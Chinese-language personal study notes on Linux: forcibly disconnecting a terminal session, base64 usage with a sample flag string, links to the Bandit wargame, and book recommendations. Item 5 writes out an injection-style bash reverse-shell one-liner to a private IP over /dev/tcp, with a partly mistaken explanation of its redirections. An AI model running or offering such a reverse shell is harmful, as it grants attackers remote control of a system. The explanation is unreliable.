1、踢掉用户
# who 15:23:13 up 26 days, 1:44, 2 users, load average: 0.00, 0.05, 0.03 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 192.168.1.3 15:12 11:05 0.02s 0.02s -bash root pts/1 192.168.4.17 09:49 0.00s 0.09s 0.00s w # fuser -k /dev/pts/0 /dev/pts/0: 20359 # who 15:23:23 up 26 days, 1:44, 1 user, load average: 0.22, 0.10, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/1 192.168.4.17 09:49 0.00s 0.09s 0.00s w 可以看到他的连接已经被踢掉。
2、base64转码 (转贴http://chen.junchang.blog.163.com/blog/static/634451920133117640873/)
当你直接输入 base64 ,然后你可以继续输入要编码的字符,回车,并不能结束。如何结束呢? 1. 回车 ,然后 Ctrl+D 2. 连续两下 Ctrl+D 注意到上面这两种方式编码出来的结果不一致。 精确的结果应该是第2种。而第一种事实上把回车键 "/n" 也参与了编码,从而导致结果的不一致。 同样的,如果你要解码,那就输入 base64 -d 吧。 另外,还可以这样: echo "some string" | base64 // 末尾的换行符也参与了编码 echo -n "some string" | base64 // 末尾的换行符不参与编码,精确的方式 echo "c29tZSBzdHJpbmc=" | base64 -d echo -n “c29tZSBzdHJpbmc=” | base64 -d
试一下 echo -n "RkxBRzpJUONDVEVTVHBhcw==" |base64 -d
3、bandit linux游戏
http://overthewire.org/wargames/bandit/
4、介绍linux游戏通关秘籍
http://or7.me/2017/11/17/WarGame_Bandit/#more
5、;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1
其中的|是管道,0代表标准输入,1代表标准输出,2代表标准错误信息输出。
0<&1 2>&1
我理解就是,0输入到管道前面的命令参数,也就是/dev/tc/172.16.1.52/80
2则输出到管道前面的命令参数。
6、参考书籍
1)Linux就该这么学
2)阿铭linux
3)linux就是这个范儿